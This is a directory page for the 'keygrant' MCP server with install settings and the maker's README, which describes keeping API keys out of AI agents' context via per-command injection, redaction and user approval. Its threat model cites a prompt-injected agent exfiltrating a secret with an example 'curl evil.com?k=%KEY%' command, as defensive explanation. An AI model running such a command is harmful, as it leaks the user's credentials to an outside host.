Prototype · Preview: every server in the official registry, synced every 30 minutes. Reviews and accounts come in a later step.
PopNx MCPMCP servers for people who use AI · explained in plain words
Beginner mode Off
ColoursSystemLightDark
LanguageไทยEnglish中文日本語한국어EspañolDeutsch
☰ MenuSettings
Beginner mode Off
ColoursSystemLightDark
LanguageไทยEnglish中文日本語한국어EspañolDeutsch

keygrant

by bazingaedwardversion 0.1.11i★ –iRuns on your computer
Registry nameio.github.bazingaedward/keygrant

Install

Overview

Description from the maker (original English)

Run commands with API keys injected per call — values never enter model context.

PopNx MCP’s three pillars

These three are never merged into one score: opinions, measurements and popularity are different things.

What you can do with it

We have not written a plain-language summary for this one yet. Below are the facts we read from the registry.

  • Connection: Runs on your computer
  • Transport: stdio
  • Category: Other

Install

Pick the AI app you use, then copy the settings.

Before you install

  • Basic checks: 1 of 1 passed
  • Runs on your computer with your user’s permissions (files, network, apps).
  • The registry lists no key to fill in.

You need

  • PyPIPython’s uv installed (for the uvx command)

Which app do you use?

Pick your app above. We remember it, so next time the button says “Install in …”.

Open Claude Desktop → Settings → Developer → Edit Config, and paste this into claude_desktop_config.json

{
  "mcpServers": {
    "keygrant": {
      "command": "uvx",
      "args": [
        "keygrant",
        "mcp"
      ]
    }
  }
}

Run this in your terminal

claude mcp add keygrant -- uvx keygrant mcp

Open in Cursor

Or copy the settings yourself

Paste into .cursor/mcp.json in your project, or ~/.cursor/mcp.json

{
  "mcpServers": {
    "keygrant": {
      "command": "uvx",
      "args": [
        "keygrant",
        "mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

Open in VS Code

Or copy the settings yourself

Paste into .vscode/mcp.json in your project

{
  "servers": {
    "keygrant": {
      "type": "stdio",
      "command": "uvx",
      "args": [
        "keygrant",
        "mcp"
      ]
    }
  }
}

Your browser asks to open the app, then the app shows the settings and asks you to confirm. Key values are left empty for you to fill in.

This one runs on your computer, and ChatGPT can only connect to servers on the internet. Pick another app.

Your choice stays on this device in a cookie; no account needed.

These settings are generated from the maker’s registry entry. If the README says otherwise, follow the README.

What it can do

Runs on your computer; the tool list appears in your AI app after you install it.

Basic checksi

We check information anyone can see; we have not read the code. Checks that do not apply are left out of the count. · Checked Nov 7, 2026

  • ✓ Pass

    Maker matches the repo

    The registry name was verified with the GitHub account bazingaedward, which owns the repo

  • … Not checked yet

    Still maintained

    We have not read this repo from GitHub yet

  • … Not checked yet

    Has a licence

    We have not read this repo from GitHub yet

  • – Not applicable

    Endpoint responds

    This one runs on your computer; there is no internet endpoint

  • – Not applicable

    Sign-in with OAuth

    Runs on your computer and uses local settings instead

  • … Not checked yet

    No hidden instructions in tool descriptions

    Runs on your computer; we can only read tool lists from internet endpoints

Compared with others in Otheri

  • More stars than 0% of the other 32572 servers in this category
  • Published to the registry more recently than 82% of the other 32572 servers in this category
  • Basic checks equal to or better than 100% of the other 32572 servers in this category

Compared with every active server in this category in the registry. Stars count only when the publisher owns the repo.

Common questions

Is keygrant safe?

It passed 1 of 1 applicable basic checks. We have not read the code. Before adding a key or token, see what access the server asks for and use a key with only the permissions you need.

What keys or codes does it need?

The registry does not list a required key, though some servers ask you to sign in on first use.

Does it run on my computer or in the cloud?

It runs on your computer. Your AI app starts it when needed, and data does not pass through the maker’s servers (unless it calls an online service itself).

Is it still maintained?

The GitHub repo last changed –, and the latest version (0.1.11) reached the registry 7 days ago.

Which apps can use it?

Apps that support MCP, such as Claude Desktop, Claude Code, Cursor and VS Code. You also need Python (uv) on your computer.

What can I use instead?

In the same category: Spec Driven Development, Remote Desktop Commander, AvaHR

Alternatives

Servers in the same category from other makers, sorted by stars.

Reading a card:★ GitHub starsiThree pillars: reviews · checks · usageiUpdated = latest version published to the registryi

Spec Driven Development

by formulahendry

MCP Server that facilitates spec-driven development workflows, not just Vibe Coding.

Runs on your computer★ 440MITUpdated 14 months ago
Install

Remote Desktop Commander

by desktop-commander

Remote Desktop Commander: use files, terminal and processes on your own computers from any AI app.

Runs in the cloud★ 211Updated yesterday
Install

AvaHR

by avahr.com

Read hiring data and create inactive assessment and questionnaire drafts for human review.

Runs in the cloudUpdated today
Install

README from the maker

Open the README

Copied from the maker’s repo as written. PopNx MCP has not reviewed or endorsed it. HTML, images and scripts are removed. Links lead off this site.

keygrant

Per-command secret injection for AI coding agents. Secrets live in a local DPAPI-encrypted vault; the model's context only ever sees secret names — values are injected into the child process environment at exec time, and all output is redacted before it returns to the model.

Why: anything placed in an LLM's context can be exfiltrated (prompt injection, logs, generated code). The fix is architectural: keys never enter context, only the execution environment.

Docs: quickstart, every command, and how approvals, redaction and cloud sync work: https://keygrant.app/docs/

Components

  • keygrant.py — vault + CLI
  • keygrant set NAME [--desc TEXT] — store a secret (value via stdin, never argv)
  • keygrant list / rm NAME
  • keygrant exec [--redact] NAMES -- CMD — run CMD with secrets injected
  • keygrant revoke NAME|--all — revoke active approval grants
  • keygrant init — wire up a project (.mcp.json + CLAUDE.md guidance)
  • keygrant_mcp.py — MCP server (stdio JSON-RPC, zero deps)
  • list_secrets — names/descriptions/usage only, never values
  • exec_with_secrets — server-side exec with injection + forced output redaction
  • deliberately no set/store tool: writing a value through the model would put it in context; values enter out-of-band via the CLI only

Install

As a Claude Code plugin

The plugin bundles the MCP server and a skill that teaches Claude to use it, so there's no per-project setup. It needs uv.

/plugin marketplace add bazingaedward/keygrant

/plugin install keygrant@keygrant

Add secrets from your terminal with uvx keygrant==0.1.11 set NAME, or install the CLI as below.

As a CLI and MCP server
uv tool install keygrant     # or: pipx install keygrant

Requires Python ≥ 3.10. macOS ships Python 3.9, so a bare pip install there fails; uv fetches a suitable Python automatically.

Then, in each project where agents should use secrets:

keygrant init

init adds a keygrant entry to the project's .mcp.json (merging with any existing servers) and appends usage guidance for the model to CLAUDE.md, both idempotently. Restart Claude Code in that folder to load the server.

macOS

Values live in the login Keychain; approval is a native dialog.

Threat model

What this protects against:

  • *Context exfiltration* — a prompt-injected agent (or plain logging) leaking a secret that sits in model context. Values never enter context: the model only handles names; decryption and injection happen in the executing process.
  • *Output leaks* — an agent echoing a secret back. All output returned to the model is redacted, including base64, hex, and URL-encoded variants.
  • *Grant riding* — reusing an approval for something the user never saw. A grant covers one exact command string in one agent session, expires after 15 minutes, and lives only in the MCP server's memory — there is no grants file to forge. A wider session grant exists only when the user explicitly picks "Allow 30 min". The CLI never reuses a grant.
  • *Silent use* — every new command requires explicit user approval; the dialog shows the full command (over-long commands are refused, not truncated); timeout means deny.

What this does NOT protect against (known residual risks):

  • A compromised agent can request a command that exfiltrates the secret over the network (curl evil.com?k=%KEY%). The approval dialog shows the full command — reviewing it is the control. Per-secret egress allowlists (binding a key to permitted destination hosts) are on the roadmap.
  • Indirection: approving sh deploy.sh approves whatever deploy.sh does, and the agent may have written that file. Treat script invocations as approving the script.
  • Redaction is a second line of defense, not a guarantee: novel encodings can evade it. The primary guarantee remains "values never enter context".
  • Anything running as the same OS user can read the DPAPI vault. This tool scopes *agent* access to secrets; it is not a defense against local malware.

Approval

Every use of a secret — via the CLI or the MCP server — requires the user's approval through a native, topmost dialog that shows the full command (deny by default on a 60s timeout). Through the MCP server, approving lets that exact command reuse the secret for 15 minutes in that session — handy for retries — while any other command prompts again. To stop the prompts during a burst of work, pick Allow 30 min instead: that agent session may then use the secrets shown in any command for 30 minutes without asking (macOS and Linux; Windows dialogs offer per-command approval only). It is an explicit opt-in — the default button is still Deny — and while it lasts you are no longer reviewing individual commands. Grants are held in the server's memory only. The CLI prompts on every keygrant exec, so an agent cannot bypass MCP approval by shelling out to it. keygrant revoke NAME|--all voids earlier grants in every running session. The dialog will be replaced by a resident tray app with toast notifications; the grant semantics stay the same.

Storage

  • Windows: values DPAPI-encrypted (per-user) inside %USERPROFILE%\.keygrant\vault.json. Not %APPDATA%: packaged apps such as the Claude desktop app see a private copy of %APPDATA%, so the MCP server they launch and the CLI in a normal terminal would read different vaults. Up to 0.1.6 the vault lived in %APPDATA%\keygrant\. The CLI and the MCP server merge it into the new home on every start: only names the new vault has never seen from the old one, never overwriting, so a secret you delete does not come back. The old files stay, so a 0.1.6 install keeps working while you upgrade.
  • macOS: values in the login Keychain (via the security CLI; the first read triggers the OS Keychain permission prompt — an extra OS-level gate); ~/.config/keygrant/vault.json holds metadata only
  • Linux: values in the Secret Service keyring via secret-tool (libsecret-tools + a running keyring daemon; approval dialogs need zenity); the vault file holds metadata only

The vault file also records usage metadata (use count, last used) as the seed of an audit trail. Set KEYGRANT_HOME to keep the vault somewhere else on any platform.

Cloud sync (preview)

Optional end-to-end encrypted sync between your devices (uv tool install 'keygrant[cloud]'). Values are encrypted on the device; the server only ever stores ciphertext. Nothing is uploaded until you push.

First device

uv tool install 'keygrant[cloud]'

keygrant cloud init # choose a password; prints your Emergency Kit keygrant push STRIPE_KEY # upload an existing local secret

Write the Emergency Kit (Account ID + Secret Key) down and keep it offline. Your data can only be decrypted with your password and the Secret Key; nobody, including keygrant, can recover either for you.

More devices — the old device must be online (it can be over SSH or remote desktop; pairing needs both devices at once, not in one place):

keygrant devices add       # old device: shows a pairing code

keygrant pair # new device: enter the code

Both screens then show a fingerprint. Check they match before typing yes on the old device — that check is what stops a malicious server from slipping in its own device. The new device asks for your password once.

Day to day

echo "sk-..." | keygrant set STRIPE_KEY && keygrant push STRIPE_KEY   # add / change

keygrant push --delete STRIPE_KEY # remove everywhere keygrant sync # pull now

list and exec also pull changes on their own (at most once a minute, silently skipped when offline). If two devices change the same secret, the later push is refused until you sync; a local edit you haven't pushed is never overwritten.

Lost every device? On a new machine, keygrant recover joins with the Emergency Kit and your password alone (accounts created before 0.1.4: run keygrant cloud enable-recovery once on an existing device).

Approve from your phone — run keygrant devices add and enter the code at https://app.keygrant.app on your phone; the same fingerprint check makes that browser a trusted approver. When nobody answers the desktop dialog, the request goes to that page instead; an explicit Deny on the desktop is final. The browser can approve and see names, never values.

Leave — keygrant cloud delete destroys the account and all ciphertext; secrets stay on each machine as local-only entries.

Design and threat model: docs/design/cloud-sync-client.md.

Roadmap (prototype → product)

  1. Resident tray app (replaces the modal dialog; approval history, revoke UI)
  2. Per-secret egress allowlists (bind a key to permitted destination hosts)
  3. Optional cloud sync for teams (zero-knowledge: server stores ciphertext only)
Windows session approval

The Windows approval dialog supports Allow 30 min for MCP calls. It covers only the displayed secrets in that MCP server process. Deny is the default; Esc and window close deny access. CLI calls still require individual approval. Restart an existing MCP connection after installing this local update.

Ask PopNx